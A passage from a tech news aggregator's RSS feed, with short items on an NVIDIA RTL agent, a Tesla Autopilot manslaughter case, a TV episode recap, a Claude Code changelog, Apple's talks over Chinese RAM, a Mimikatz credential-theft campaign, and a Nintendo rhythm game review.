<guid isPermaLink="true">https://tsecurity.de/de/3645601/ai-nachrichten/nvidia-horizon-a-hands-free-agent-that-evolves-git-worktrees-and-hits-100-rtl-benchmark-completion/</guid>
<pubDate>Sat, 04 Jul 2026 18:19:16 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A hands-free NVIDIA agent framework hosts each RTL problem as a versioned repository, reaching 100% completion across benchmarks.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/04/nvidia-horizon-a-hands-free-agent-that-evolves-git-worktrees-and-hits-100-rtl-benchmark-completion/">NVIDIA HORIZON: A Hands-Free Agent that Evolves Git Worktrees and Hits 100% RTL Benchmark Completion</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tesla driver charged with manslaughter for Texas crash that killed a woman in her home]]></title>
<description><![CDATA[The incident is also being investigated by the National Highway Traffic Safety Administration.]]></description>
<link>https://tsecurity.de/de/3645561/it-nachrichten/tesla-driver-charged-with-manslaughter-for-texas-crash-that-killed-a-woman-in-her-home/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645561/it-nachrichten/tesla-driver-charged-with-manslaughter-for-texas-crash-that-killed-a-woman-in-her-home/</guid>
<pubDate>Sat, 04 Jul 2026 18:03:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The incident is also being investigated by the National Highway Traffic Safety Administration.]]></content:encoded>
</item>
<item>
<title><![CDATA[Sugar Season 2 Latest Episode Recap and Ending Explained]]></title>
<description><![CDATA[Sugar Season 2 has returned on Apple TV with John Sugar pulled deeper into a dangerous Los Angeles mystery. The latest episode, Season 2 Episode 3, “Watch Face,” follows Sugar after the shooting and pushes the case toward gang violence, police corruption, and Ji Moon’s strange disappearance.




...]]></description>
<link>https://tsecurity.de/de/3645111/ios-mac-os/sugar-season-2-latest-episode-recap-and-ending-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645111/ios-mac-os/sugar-season-2-latest-episode-recap-and-ending-explained/</guid>
<pubDate>Sat, 04 Jul 2026 11:21:58 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sugar Season 2 has returned on Apple TV with John Sugar pulled deeper into a dangerous Los Angeles mystery. The latest episode, Season 2 Episode 3, “Watch Face,” follows Sugar after the shooting and pushes the case toward gang violence, police corruption, and Ji Moon’s strange disappearance.




Episodes: 8 episodes



Genre: Mystery, drama, neo-noir, sci-fi



Started airing: June 19, 2026



Finale date: August 7, 2026



Latest episode: Episode 3, “Watch Face,” released July 3, 2026




Spoilers ahead for Sugar Season 2 Episode 3.







The episode begins right after Sugar survives the attack on his life. His recovery is quick because of his alien blood treatment, but the shooting makes it clear that someone wants him away from the Ji Moon case.



Sugar continues looking into the EZ4 gang and tries to find Guapo, the person linked to the violence around Chuy’s death and Ji’s disappearance. At the same time, Ji finally appears again and contacts Danny, but the meeting goes wrong when Ji mistakes Sugar for a cop and runs away.



The ending becomes more intense when Sugar reaches Guapo. Before Sugar can get real answers, a police raid breaks out and Guapo is killed. The biggest clue comes from a watch, which connects the raid to a corrupt officer and suggests that the danger around Ji goes much higher than one gang.



The episode ends by making Sugar’s case larger than a missing person mystery. Ji is alive, Danny is being pulled toward a risky boxing opportunity, and Sugar now has stronger reason to believe that the police, the gangs, and the hidden “Fire Sale” thread are connected.



Ending Explained



The ending shows that Guapo was never the full answer. His death removes one lead, but it also exposes the larger cover-up around the case.



The watch is the key detail. It links the violent men around the case to someone inside law enforcement, which means Sugar is not just dealing with street-level crime. He is moving toward a conspiracy that can protect itself from inside the system.



Ji running away also matters. He is scared, unstable, and clearly hiding something, but he is not just a victim waiting to be saved. His actions suggest he knows more about the people chasing him, and Danny’s Vegas fight offer may be part of the same trap.



FAQs



When did Sugar Season 2 Episode 3 release? Sugar Season 2 Episode 3, titled “Watch Face,” released on July 3, 2026, on Apple TV.  How many episodes are in Sugar Season 2? Sugar Season 2 has 8 episodes, with new episodes releasing weekly until August 7, 2026.  Is Ji Moon alive in Sugar Season 2 Episode 3? Yes, Ji Moon appears alive in Episode 3, but he escapes after thinking Sugar is a cop.  What does the watch mean in Sugar Season 2 Episode 3? The watch points toward police corruption and connects the ending to the larger mystery around the “Fire Sale” thread.  



Sugar Season 2 is streaming on Apple TV in the US, Apple TV costs $12.99 per month after the trial. What do you plan to watch next? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.200]]></title>
<description><![CDATA[What's changed

Changed AskUserQuestion dialogs to no longer auto-continue by default; opt into an idle timeout via /config
Changed the "default" permission mode to "Manual" across the CLI, --help, VS Code, and JetBrains; --permission-mode manual and "defaultMode": "manual" are accepted alongside...]]></description>
<link>https://tsecurity.de/de/3644079/downloads/v21200/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644079/downloads/v21200/</guid>
<pubDate>Fri, 03 Jul 2026 19:03:19 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Changed <code>AskUserQuestion</code> dialogs to no longer auto-continue by default; opt into an idle timeout via <code>/config</code></li>
<li>Changed the "default" permission mode to "Manual" across the CLI, <code>--help</code>, VS Code, and JetBrains; <code>--permission-mode manual</code> and <code>"defaultMode": "manual"</code> are accepted alongside <code>default</code></li>
<li>Fixed a crash at startup when <code>disabledMcpServers</code> or <code>enabledMcpServers</code> in <code>.claude.json</code> is set to a non-array value</li>
<li>Fixed background sessions silently stopping mid-turn after sleep/wake or when reopening a stalled session</li>
<li>Fixed background sessions re-running a turn cancelled with Esc after a stall respawn</li>
<li>Fixed background agents never starting again after a crash left a stale <code>daemon.lock</code> whose PID the OS reused</li>
<li>Fixed background-agent daemon handover so a reinstalled older build can no longer take over the daemon; build recency is now judged by the version's embedded build timestamp</li>
<li>Fixed background-agent roster issues: transient corruption permanently disabling orphan cleanup, older binaries not preserving fields written by newer versions, and socket auth tokens being stripped during daemon restarts</li>
<li>Fixed subagents cut off by a rate limit before producing any text output returning an empty result instead of failing cleanly</li>
<li>Fixed control bytes from background-agent output reaching the terminal in the agent view</li>
<li>Fixed <code>claude agents --plugin-dir &lt;dir&gt;</code> not showing the plugin's agents and skills in the agent view when the flag is placed after <code>agents</code></li>
<li>Fixed project-scoped plugins not loading correctly from git worktrees of the same repository</li>
<li>Fixed <code>/mcp</code> server list not tracking focus for screen readers and magnifiers</li>
<li>Fixed voice dictation showing a misleading "Voice connection failed" message when a recording captures no audio</li>
<li>Fixed rendering flicker under tmux 3.4+ by enabling synchronized terminal output</li>
<li>Improved screen-reader output: decorative glyphs are now hidden, transcript symbols read as short labels, and nested tables read as <code>Header: value.</code> lines</li>
<li>Improved the install script to explain when installation is killed by the system running out of memory</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tesla driver faces manslaughter charges over Texas crash that killed a woman inside her home]]></title>
<description><![CDATA[The man whose Tesla struck and killed a woman inside her Texas home last month is now facing manslaughter charges, as reported earlier by The Wall Street Journal and local news outlet KHOU 11. 44-year-old Michael Butler was arrested on Wednesday and claimed to have been driving his Model 3 using ...]]></description>
<link>https://tsecurity.de/de/3642360/it-nachrichten/tesla-driver-faces-manslaughter-charges-over-texas-crash-that-killed-a-woman-inside-her-home/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642360/it-nachrichten/tesla-driver-faces-manslaughter-charges-over-texas-crash-that-killed-a-woman-inside-her-home/</guid>
<pubDate>Fri, 03 Jul 2026 00:17:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The man whose Tesla struck and killed a woman inside her Texas home last month is now facing manslaughter charges, as reported earlier by The Wall Street Journal and local news outlet KHOU 11. 44-year-old Michael Butler was arrested on Wednesday and claimed to have been driving his Model 3 using Tesla's Full-Self Driving (FSD) […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Tesla Driver Using Autopilot in Texas Crash Is Charged With Manslaughter]]></title>
<description><![CDATA[A front-door video camera of the crash, which killed a woman inside her home, showed the Tesla plowing into a house through its driveway.]]></description>
<link>https://tsecurity.de/de/3642285/it-nachrichten/tesla-driver-using-autopilot-in-texas-crash-is-charged-with-manslaughter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642285/it-nachrichten/tesla-driver-using-autopilot-in-texas-crash-is-charged-with-manslaughter/</guid>
<pubDate>Thu, 02 Jul 2026 23:32:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A front-door video camera of the crash, which killed a woman inside her home, showed the Tesla plowing into a house through its driveway.]]></content:encoded>
</item>
<item>
<title><![CDATA[Cheap Chinese chips could offer way out of RAM price crisis, Apple suggests]]></title>
<description><![CDATA[The RAM price crisis is pushing hardware manufacturers to pursue deals with Chinese companies, against the wishes of the US government. Apple is one of those reportedly exploring such deals.



“Apple is in negotiations to purchase chips from Chinese semiconductor makers ChangXin Memory Technolog...]]></description>
<link>https://tsecurity.de/de/3641855/it-security-nachrichten/cheap-chinese-chips-could-offer-way-out-of-ram-price-crisis-apple-suggests/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641855/it-security-nachrichten/cheap-chinese-chips-could-offer-way-out-of-ram-price-crisis-apple-suggests/</guid>
<pubDate>Thu, 02 Jul 2026 19:09:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The RAM price crisis is pushing hardware manufacturers to pursue deals with Chinese companies, against the wishes of the US government. Apple is one of those reportedly exploring such deals.</p>



<p>“Apple is in negotiations to purchase chips from Chinese semiconductor makers ChangXin Memory Technologies Inc. (CMTI) and Yangtze Memory Technologies Co. (YMTC) to help reduce the impact of a global memory shortage,” <a href="https://www.bloomberg.com/news/articles/2026-07-01/apple-seeks-to-buy-chinese-made-memory-chips-with-lobbying-push" target="_blank" rel="noreferrer noopener">Bloomberg reported</a>. “The companies are on a Pentagon blacklist of Chinese entities believed to support Beijing’s military, and Apple’s effort to buy chips from them has included appeals to Trump administration officials to help soften the political fallout,” it said.</p>



<p>Rumors surrounding Apple talking with CMTI and YMTC have been going on for months, with analyst Ming-Chi Kuo pointing to Apple CEO Tim Cook being “<a href="https://www.computerworld.com/article/4190611/apples-memory-problem-is-your-problem-too.html">one of the few tech leaders who can still navigate both Washington and Beijing</a>, so this is better handled before he steps down as CEO.”</p>



<p>Beyond the potential political ramifications, any deal would have immediate implications for enterprise IT buyers.</p>



<p>“CIOs should focus on the risk that this strategy could introduce. Will Apple be able to thoroughly assess those chips to completely rule out the possibility of trojan horses, backdoors, and hidden functionality such as dead man switches?” asked <a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group. “If Apple says that they will do, to what degree of certainty? There have been rumors about hidden backdoors in chips before, such as <a href="https://www.csoonline.com/article/567717/insecure-virtual-usb-feature-in-supermicro-bmcs-exposes-servers-to-attack.html">Supermicro</a> in 2018, <a href="https://www.hackster.io/news/hacknect-a-wireless-automation-platform-inside-a-usb-cable-15e3384fae59" target="_blank" rel="noreferrer noopener">ESP32 microcontroller</a> hidden functionality in 2025, and <a href="https://www.csoonline.com/article/536082/security-awareness-china-not-to-blame-for-backdoor-in-us-military-chip.html">Microsemi backdoor</a> in 2012, to name a few.”</p>



<h2 class="wp-block-heading">On the naughty list?</h2>



<p>This issue gets complicated based on what the US government ultimately does. The two Chinese manufacturers figure on the Pentagon’s so-called <a href="https://media.defense.gov/2026/Jun/08/2003945537/-1/-1/1/ENTITIES-IDENTIFIED-AS-CHINESE-MILITARY-COMPANIES-OPERATING-IN-THE-UNITED-STATES-IN-ACCORDANCE-WITH-SECTION-1260H.PDF" target="_blank" rel="noreferrer noopener">1260H list</a> of “entities identified as Chinese Military Companies,” which also includes Chinese internet giants Alibaba, Baidu, and Tencent; router maker TP-Link Technologies; and drone maker DJI. Being on that list has no real consequences for the companies concerned, but the government could move them to the <a href="https://www.cisa.gov/resources-tools/resources/entity-list" target="_blank" rel="noreferrer noopener">Department of Commerce’s Entity List</a>, subjecting them to export licensing requirements, or make them the subject of a <a href="https://www.acquisition.gov/Section-889-Policies" target="_blank" rel="noreferrer noopener">Section 889 clause</a>, barring them from government procurement deals. That could sharply change the dynamics for Apple and other technology vendors seeking cheaper RAM supplies — and for their customers.</p>



<p><a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant for Digital 520, said, “Currently, CXMT is only on the Pentagon’s 1260H list, which doesn’t legally bar transactions. Inclusion in the Commerce Department Entity List placement would, which is what Apple is seeking to prevent here.”</p>



<p>He suggested Apple might try to limit blowback by only using the Chinese chips in Apple devices sold in China.</p>



<p>If the government does intensify restrictions and if components from YMTC or CXMT “show up in a customer contract you already signed, a standard-issue device becomes a procurement compliance question. Fleet inventory in MDM will need to track memory sourcing, not just device model. That is a capability most enterprises do not have today,” Kenney said. “The real question for a CIO is not whether Washington pushes back on Apple, but whether their customers will push back for shipping Apple.”</p>



<h2 class="wp-block-heading">Other vendors use Chinese RAM already</h2>



<p>“Lenovo has sourced from Chinese memory makers for years,” as have other manufacturers, Kenney said. “The difference is that they are not lobbying the Treasury Secretary about it.”</p>



<p>Geopolitical analyst <a href="https://www.linkedin.com/in/irina-tsukerman-4b04595/" target="_blank" rel="noreferrer noopener">Irina Tsukerman</a> said Apple could clear the way for more vendors to use cheaper RAM.</p>



<p>“If Apple absorbs the political criticism and keeps enterprise buyers comfortable, competitors would gain room to consider Chinese memory for selected markets or less sensitive product channels,” Tsukerman said. “If Washington turns Apple into an example, other manufacturers would become more careful around government-facing sales and reserve this kind of sourcing for places where US procurement pressure has less impact.”</p>



<p>Tsukerman agreed with Kenney that IT departments will need to improve component visibility.</p>



<p>“Enterprise CIOs should take this seriously because Apple’s reported sourcing discussions turn a normally invisible component decision into something that can affect procurement credibility, especially for buyers whose technology choices are reviewed through government or regulated-sector requirements,” Tsukerman said.</p>



<p>The lack of a clear product quality issue is what will make this a delicate IT dance, Tsukerman said.</p>



<p>“Engineers could see limited practical danger from memory sourcing alone, and procurement reviewers could still see a serious issue because the supplier has already been placed in a national-security category,” she said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cheap Chinese chips could offer way out of RAM price crisis, Apple suggests]]></title>
<description><![CDATA[The RAM price crisis is pushing hardware manufacturers to pursue deals with Chinese companies, against the wishes of the US government. Apple is one of those reportedly exploring such deals.



“Apple is in negotiations to purchase chips from Chinese semiconductor makers ChangXin Memory Technolog...]]></description>
<link>https://tsecurity.de/de/3641832/it-nachrichten/cheap-chinese-chips-could-offer-way-out-of-ram-price-crisis-apple-suggests/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641832/it-nachrichten/cheap-chinese-chips-could-offer-way-out-of-ram-price-crisis-apple-suggests/</guid>
<pubDate>Thu, 02 Jul 2026 19:03:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The RAM price crisis is pushing hardware manufacturers to pursue deals with Chinese companies, against the wishes of the US government. Apple is one of those reportedly exploring such deals.</p>



<p>“Apple is in negotiations to purchase chips from Chinese semiconductor makers ChangXin Memory Technologies Inc. (CMTI) and Yangtze Memory Technologies Co. (YMTC) to help reduce the impact of a global memory shortage,” <a href="https://www.bloomberg.com/news/articles/2026-07-01/apple-seeks-to-buy-chinese-made-memory-chips-with-lobbying-push" target="_blank" rel="noreferrer noopener">Bloomberg reported</a>. “The companies are on a Pentagon blacklist of Chinese entities believed to support Beijing’s military, and Apple’s effort to buy chips from them has included appeals to Trump administration officials to help soften the political fallout,” it said.</p>



<p>Rumors surrounding Apple talking with CMTI and YMTC have been going on for months, with analyst Ming-Chi Kuo pointing to Apple CEO Tim Cook being “<a href="https://www.computerworld.com/article/4190611/apples-memory-problem-is-your-problem-too.html">one of the few tech leaders who can still navigate both Washington and Beijing</a>, so this is better handled before he steps down as CEO.”</p>



<p>Beyond the potential political ramifications, any deal would have immediate implications for enterprise IT buyers.</p>



<p>“CIOs should focus on the risk that this strategy could introduce. Will Apple be able to thoroughly assess those chips to completely rule out the possibility of trojan horses, backdoors, and hidden functionality such as dead man switches?” asked <a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group. “If Apple says that they will do, to what degree of certainty? There have been rumors about hidden backdoors in chips before, such as <a href="https://www.csoonline.com/article/567717/insecure-virtual-usb-feature-in-supermicro-bmcs-exposes-servers-to-attack.html">Supermicro</a> in 2018, <a href="https://www.hackster.io/news/hacknect-a-wireless-automation-platform-inside-a-usb-cable-15e3384fae59" target="_blank" rel="noreferrer noopener">ESP32 microcontroller</a> hidden functionality in 2025, and <a href="https://www.csoonline.com/article/536082/security-awareness-china-not-to-blame-for-backdoor-in-us-military-chip.html">Microsemi backdoor</a> in 2012, to name a few.”</p>



<h2 class="wp-block-heading">On the naughty list?</h2>



<p>This issue gets complicated based on what the US government ultimately does. The two Chinese manufacturers figure on the Pentagon’s so-called <a href="https://media.defense.gov/2026/Jun/08/2003945537/-1/-1/1/ENTITIES-IDENTIFIED-AS-CHINESE-MILITARY-COMPANIES-OPERATING-IN-THE-UNITED-STATES-IN-ACCORDANCE-WITH-SECTION-1260H.PDF" target="_blank" rel="noreferrer noopener">1260H list</a> of “entities identified as Chinese Military Companies,” which also includes Chinese internet giants Alibaba, Baidu, and Tencent; router maker TP-Link Technologies; and drone maker DJI. Being on that list has no real consequences for the companies concerned, but the government could move them to the <a href="https://www.cisa.gov/resources-tools/resources/entity-list" target="_blank" rel="noreferrer noopener">Department of Commerce’s Entity List</a>, subjecting them to export licensing requirements, or make them the subject of a <a href="https://www.acquisition.gov/Section-889-Policies" target="_blank" rel="noreferrer noopener">Section 889 clause</a>, barring them from government procurement deals. That could sharply change the dynamics for Apple and other technology vendors seeking cheaper RAM supplies — and for their customers.</p>



<p><a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant for Digital 520, said, “Currently, CXMT is only on the Pentagon’s 1260H list, which doesn’t legally bar transactions. Inclusion in the Commerce Department Entity List placement would, which is what Apple is seeking to prevent here.”</p>



<p>He suggested Apple might try to limit blowback by only using the Chinese chips in Apple devices sold in China.</p>



<p>If the government does intensify restrictions and if components from YMTC or CXMT “show up in a customer contract you already signed, a standard-issue device becomes a procurement compliance question. Fleet inventory in MDM will need to track memory sourcing, not just device model. That is a capability most enterprises do not have today,” Kenney said. “The real question for a CIO is not whether Washington pushes back on Apple, but whether their customers will push back for shipping Apple.”</p>



<h2 class="wp-block-heading">Other vendors use Chinese RAM already</h2>



<p>“Lenovo has sourced from Chinese memory makers for years,” as have other manufacturers, Kenney said. “The difference is that they are not lobbying the Treasury Secretary about it.”</p>



<p>Geopolitical analyst <a href="https://www.linkedin.com/in/irina-tsukerman-4b04595/" target="_blank" rel="noreferrer noopener">Irina Tsukerman</a> said Apple could clear the way for more vendors to use cheaper RAM.</p>



<p>“If Apple absorbs the political criticism and keeps enterprise buyers comfortable, competitors would gain room to consider Chinese memory for selected markets or less sensitive product channels,” Tsukerman said. “If Washington turns Apple into an example, other manufacturers would become more careful around government-facing sales and reserve this kind of sourcing for places where US procurement pressure has less impact.”</p>



<p>Tsukerman agreed with Kenney that IT departments will need to improve component visibility.</p>



<p>“Enterprise CIOs should take this seriously because Apple’s reported sourcing discussions turn a normally invisible component decision into something that can affect procurement credibility, especially for buyers whose technology choices are reviewed through government or regulated-sector requirements,” Tsukerman said.</p>



<p>The lack of a clear product quality issue is what will make this a delicate IT dance, Tsukerman said.</p>



<p>“Engineers could see limited practical danger from memory sourcing alone, and procurement reviewers could still see a serious issue because the supplier has already been placed in a national-security category,” she said.</p>



<p><em>This article first appeared on <a href="https://www.networkworld.com/article/4192382/cheap-chinese-chips-could-offer-way-out-of-ram-price-crisis-apple-suggests.html">Network World</a>.</em> </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Änderung beim &quot;Fernsehgarten&quot;: ZDF plant Sondersendung - mit &quot;Let&#039;s Dance&quot;-Moderator]]></title>
<description><![CDATA[Das ZDF plant zum 40-jährigen Jubiläum eine besondere Ausgabe des Fernsehgartens. Andrea Kiewel gibt dafür die Moderation an Joachim Llambi ab - und schlüpft selbst in eine andere Rolle.
																					Dieser Artikel wurde einsortiert unter 
																	ZDF,																	TV-Serie / ...]]></description>
<link>https://tsecurity.de/de/3641666/it-nachrichten/aenderung-beim-quotfernsehgartenquot-zdf-plant-sondersendung-mit-quotlet039s-dancequot-moderator/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641666/it-nachrichten/aenderung-beim-quotfernsehgartenquot-zdf-plant-sondersendung-mit-quotlet039s-dancequot-moderator/</guid>
<pubDate>Thu, 02 Jul 2026 18:18:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das ZDF plant zum 40-jährigen Jubiläum eine besondere Ausgabe des Fernsehgartens. Andrea Kiewel gibt dafür die Moderation an Joachim Llambi ab - und schlüpft selbst in eine andere Rolle.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/zdf.html">ZDF</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/tv-sender/">TV-Sender</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Early Edition: July 2, 2026]]></title>
<description><![CDATA[Signup to receive the Early Edition in your inbox here. A curated weekday guide to major news and developments over the last 24 hours. Here’s today’s news: RUSSIA-UKRAINE WAR  Russian missile and drone strikes in Kyiv and other Ukrainian cities overnight and early this morning killed at least 17 ...]]></description>
<link>https://tsecurity.de/de/3641119/it-security-nachrichten/early-edition-july-2-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641119/it-security-nachrichten/early-edition-july-2-2026/</guid>
<pubDate>Thu, 02 Jul 2026 14:23:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Signup to receive the Early Edition in your inbox here. A curated weekday guide to major news and developments over the last 24 hours. Here’s today’s news: RUSSIA-UKRAINE WAR  Russian missile and drone strikes in Kyiv and other Ukrainian cities overnight and early this morning killed at least 17 people and wounded more than 90, according […]</p>
<p>The post <a href="https://www.justsecurity.org/145491/early-edition-july-2-2026/">Early Edition: July 2, 2026</a> appeared first on <a href="https://www.justsecurity.org/">Just Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Disable Defender, Sysmon, and WAF Before Dumping Credentials With Mimikatz]]></title>
<description><![CDATA[Hackers have found a new way to blind security teams before stealing passwords, and the technique is as thorough as it is alarming. A threat actor recently disabled Microsoft Defender, killed the Sysmon logging tool, and tore down a web…
Read more →
The post Hackers Disable Defender, Sysmon, and ...]]></description>
<link>https://tsecurity.de/de/3640964/it-security-nachrichten/hackers-disable-defender-sysmon-and-waf-before-dumping-credentials-with-mimikatz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640964/it-security-nachrichten/hackers-disable-defender-sysmon-and-waf-before-dumping-credentials-with-mimikatz/</guid>
<pubDate>Thu, 02 Jul 2026 13:37:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hackers have found a new way to blind security teams before stealing passwords, and the technique is as thorough as it is alarming. A threat actor recently disabled Microsoft Defender, killed the Sysmon logging tool, and tore down a web…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hackers-disable-defender-sysmon-and-waf-before-dumping-credentials-with-mimikatz/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hackers-disable-defender-sysmon-and-waf-before-dumping-credentials-with-mimikatz/">Hackers Disable Defender, Sysmon, and WAF Before Dumping Credentials With Mimikatz</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Disable Defender, Sysmon, and WAF Before Dumping Credentials With Mimikatz]]></title>
<description><![CDATA[Hackers have found a new way to blind security teams before stealing passwords, and the technique is as thorough as it is alarming. A threat actor recently disabled Microsoft Defender, killed the Sysmon logging tool, and tore down a web application firewall, all before deploying Mimikatz to harve...]]></description>
<link>https://tsecurity.de/de/3640780/it-security-nachrichten/hackers-disable-defender-sysmon-and-waf-before-dumping-credentials-with-mimikatz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640780/it-security-nachrichten/hackers-disable-defender-sysmon-and-waf-before-dumping-credentials-with-mimikatz/</guid>
<pubDate>Thu, 02 Jul 2026 12:23:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hackers have found a new way to blind security teams before stealing passwords, and the technique is as thorough as it is alarming. A threat actor recently disabled Microsoft Defender, killed the Sysmon logging tool, and tore down a web application firewall, all before deploying Mimikatz to harvest credentials. The campaign shows how far attackers […]</p>
<p>The post <a href="https://cybersecuritynews.com/hackers-disable-defender-sysmon/">Hackers Disable Defender, Sysmon, and WAF Before Dumping Credentials With Mimikatz</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rhythm Paradise Groove review – exhilarating bitesize beats test your reflexes]]></title>
<description><![CDATA[Nintendo/TNX; Nintendo SwitchA joyful collection of vibrant rhythm games includes catching veggies in mid-air, practising dance choreographies and speaking to an alienIt has been a strange decade for the rhythm game genre. The legendary progenitors Rock Band and Guitar Hero are seemingly gone, ye...]]></description>
<link>https://tsecurity.de/de/3640565/it-nachrichten/rhythm-paradise-groove-review-exhilarating-bitesize-beats-test-your-reflexes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640565/it-nachrichten/rhythm-paradise-groove-review-exhilarating-bitesize-beats-test-your-reflexes/</guid>
<pubDate>Thu, 02 Jul 2026 10:47:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><strong>Nintendo/TNX; Nintendo Switch<br></strong>A joyful collection of vibrant rhythm games includes catching veggies in mid-air, practising dance choreographies and speaking to an alien</p><p>It has been a strange decade for the rhythm game genre. The legendary progenitors Rock Band and Guitar Hero are seemingly gone, yet companies are manufacturing plastic guitars again. Tango Gameworks, a studio best known for delivering survival horror hauntings, made Hi-Fi Rush and it ruled, but Microsoft sold the studio. Indie titles such as Sayonara Wild Hearts and Rift of the NecroDancer have done well on the margins, but now Epic Games has swept in, adding a rhythm action mode to Fortnite so now its mainstream again. All these titles have reinforced the ideas laid out by their forefathers: rhythm can intersect with video games as much as it already intersects with our everyday lives.</p><p>Few series hold this ethos to heart as strongly as Rhythm Heaven. Dormant since 2015, a new entry, Rhythm Heaven Groove (known as Rhythm Paradise Groove in Pal territories), doubles down on the concept of offering bitesize, rhythm-based experiences where you follow auditive cues to perform all manner of increasingly exhilarating actions with just a few buttons. Whether you’re catching veggies in mid-air, practising dance choreographies, or speaking to an alien, each mini-game is intended to be a vibrant, micro cacophony with its own rules.</p> <a href="https://www.theguardian.com/games/2026/jul/02/rhythm-paradise-heaven-groove-review-nintendo-switch">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 658]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3640170/tools/this-week-in-rust-this-week-in-rust-658/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640170/tools/this-week-in-rust-this-week-in-rust-658/</guid>
<pubDate>Thu, 02 Jul 2026 07:10:00 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
